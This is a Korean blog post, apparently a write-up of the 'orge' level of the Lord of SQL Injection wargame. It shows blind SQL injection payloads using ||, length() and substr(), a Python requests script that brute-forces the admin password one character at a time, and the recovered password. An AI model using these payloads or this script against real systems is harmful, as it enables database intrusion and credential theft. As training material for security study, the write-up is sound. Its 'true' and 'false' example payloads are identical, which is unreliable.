728x90
Blind SQL injection 사용
Blind SQL injection --> https://owasp.org/www-community/attacks/Blind_SQL_Injection
1. 참, 거짓 확인
-참: ?pw=1'||'1'='1 --> hello guest 작동 O
-거짓: ?pw=1'||'1'='1 --> hello guest 작동 X
2. pw길이 확인
?pw=1'||length(pw)='17 --> hello guest 작동 O --> 참
pw는 17자리이다.
그런데
?pw=1'||length(pw)='8 --> hello admin 작동 O
hello guest가 뜰 때의 pw는 guest의 pw이고,
hello admin이 뜰 때의 pw는 admin의 pw인 것 같다.
우리는 hello admin이 출력할 때의 pw를 찾아야 한다.
import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
length=8#hash는 17자리
pw= ""
for i in range(1, length+1):
for j in range(33, 122):#숫자부터 소문자z까지
search_str="1%27||substr(pw,"+str(i)+",1)=%27"+chr(j)
print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("Hello admin") !=-1:
pw+=chr(j)
print("pw: "+pw)
break
pw: 7B751AEC
주소창에 ?pw=7B751AEC 치면 ....?
안된다 ;;
대신 소문자로 바꿔서 ?pw=7b751aec 치면 성공한다.
(SQL은 대소문자 상관 없는데 왜...?)
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] Skeleton (0) | 2022.01.28 |
---|---|
[Load of SQL Injection] vampire (0) | 2022.01.28 |
[Load of SQL Injection] troll (0) | 2022.01.28 |
[Load of SQL Injection] Darkelf (0) | 2022.01.27 |
[Load of SQL injection] wolfman (0) | 2022.01.27 |